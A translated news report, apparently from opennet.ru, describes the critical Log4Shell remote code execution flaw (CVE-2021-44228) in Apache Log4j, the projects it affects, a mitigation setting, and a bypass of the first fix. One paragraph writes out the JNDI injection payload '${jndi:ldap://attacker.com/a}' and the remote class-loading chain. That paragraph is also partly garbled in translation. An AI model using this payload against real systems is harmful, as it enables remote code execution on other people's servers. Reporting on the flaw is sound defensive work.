In Apache Log4j, a popular logging framework for Java applications, a critical vulnerability has been identified that allows arbitrary code execution when logging specially crafted inputs in the format "{jndi:URL}". The attack can target Java applications that log values obtained from external sources, such as when problematic values are logged in error messages.
It has been noted that nearly all projects using frameworks like Apache Struts, Apache Solr, Apache Druid, or Apache Flink, including Steam, Apple iCloud, and clients and servers of the game Minecraft, are affected. This vulnerability is expected to lead to a wave of mass attacks on corporate applications, echoing the history of critical vulnerabilities in the Apache Struts framework, which is estimated to be used in web applications by 65% of Fortune 100 companies. Attempts to scan networks for vulnerable systems have already been recorded.
The situation is compounded by the fact that a working exploit has already been published, but patches for stable branches have not yet been formulated. A CVE identifier has not yet been assigned. A fix is included only in the test branch log4j-2.15.0-rc1. As a workaround to mitigate the vulnerability, it is recommended to set the log4j2.formatMsgNoLookups parameter to true.
The problem was caused by log4j supporting the processing of special masks "{}" in logged strings, which could execute JNDI (Java Naming and Directory Interface) queries. The attack involves sending a string with a substitution "${jndi:ldap://attacker.com/a}", which, when processed, will send a request to log4j. server attacker.com LDAP request for the path to the Java class. The returned proxy server attacker's path (e.g., http://second-stage.attacker.com/Exploit.class) will be loaded and executed in the context of the current process, allowing the attacker to achieve arbitrary code execution on the system with the rights of the current application.
Appendix 1: The vulnerability has been assigned CVE identifier CVE-2021-44228.
Supplement 2: A method of bypassing the protection added in release log4j-2.15.0-rc1 has been identified. A new update log4j-2.15.0-rc2 is proposed with enhanced protection against the vulnerability. The change in the code highlights the absence of a crash in the case of an improperly formatted JNDI URL.
Source: opennet.ru
